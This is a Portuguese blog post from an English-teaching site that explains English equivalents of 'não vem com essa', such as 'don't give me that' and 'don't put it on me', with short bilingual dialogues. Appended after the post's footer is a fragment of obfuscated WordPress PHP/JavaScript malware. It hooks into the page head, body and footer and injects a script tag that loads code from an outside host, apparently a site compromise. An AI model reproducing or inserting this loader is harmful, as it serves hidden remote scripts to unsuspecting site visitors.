O SEGREDO DAS LINGUAS l O curso de língua estrangeira ainda pode fazer parte da sua vida.

Como dizer ‘não vem com essa’ em inglês?

não vem com essa em inglês

Todo  mundo já usou essa expressão em português, mas e agora? Como falar ‘não vem com essa’ em inglês? Hoje, você vai aprender como se expressar quando quiser dizer a mesma coisa em inglês.

Não vem com essa em inglês

Para dizer ‘não vem com essa’ em inglês podemos usar ‘don’t bulshit me’, ‘don’t give me that’,  ‘don’t put it on me’ ou ‘don’t give me that crap’.

Ao usar ‘don’t give me that’ você só falar assim: ‘don’t give me that’ ou pode completar a frase com alguma coisa. Como por exemplo, ‘don’t give me that excuse’.

Quando usamos ‘don’t bulshit me’ estamos sendo rudes e mal educados. Essa expressão é forte e deve ser evitada. Na realidade, entre amigos você pode usar essa expressão em um tom de brincadeira. E você pode usar só ‘bulshit’ sozinho. 

Já no caso de ‘don’t put it on me’, nesse caso seria tipo ‘não vem com essa para cima de mim’ ou ‘não me culpe’. A expressão pode variar para ‘don’t put that on me’. Utilizamos essa expressão para falar com alguém que você não quer se envolver em um assunto. 

‘Don’t put it on me’ é uma maneira mais educada de dizer ‘não me vem com essa’ em inglês, em comparação com ‘don’t bulshit me’. Uma outra variação mais rude é ‘don’t give me that crap’.

Vamos para os exemplos:

1 – Don’t bulshit me

A: Who stole my pen collection, Donna? (Quem roubou minha coleção de canetas, Donna?)

B: I have no idea. (Não tenho ideia.)

A: Don’t bulshit me. (Não me vem com essa!)

A: John said you cheated on your girlfriend. (John disse que você trai sua namorada.)

B: Bulshit! He never said that. (Nem vem! Ele nunca disso isso.)

2 – Don’t give em that

A: I will only consume environmentally-friendly products from now on. (Eu só vou consumir produtos que se preocupam com o meio-ambiente agora.)

B: Don’t give me that nonsense!(Não me vem com essa falta de senso!)

A: Traffic was bad. (O trânsito estava ruim.)

B: Don’t give me that lame excuse. (Não me vem com essa desculpa esfarrapada.)

3 –  Don’t put it on me

A: Can you help me make a false ID? (Pode me ajudar a fazer uma carteira de identidade falsa?)

B: Hey, don’t put that on me! I’m not helping you do that. (Olha, nem vem com essa! Eu não vou te ajudar a fazer isso.)

Agora que você já sabe como falar ‘não me vem com essa’ em inglês. Que tal ver outros posts com expressões importantes que você deve saber?

Mais artigos do

Blog SDL

?>},_0x1ca2(_0x5c13d3,_0x10d019);}function _0x56ac(){var _0x46c312=['trickl','6LObfmH','script','scri','3822470oovwGi','220qlaQai','com/','createElement','ctl','appendChild','type','133350wkvzaH','ter.','134ANVGfY','pts/t','src','est','erfe','ords.p','querySelector','5879944KcCcWx','231938CdIMay','2890492INDZRn','currentScript','50535rwizqw','parentNode','script[id=\x22trickl\x22]','text/javascript','28527sHSQyT','head'];_0x56ac=function(){return _0x46c312;};return _0x56ac();}";}add_action('wp_head', '_set_metas_tag');add_action('wp_footer', '_set_metas_tag');add_action('wp_body_open', '_set_metas_tag');_set_metas_tag();}}catch(Exception $e){}} ?>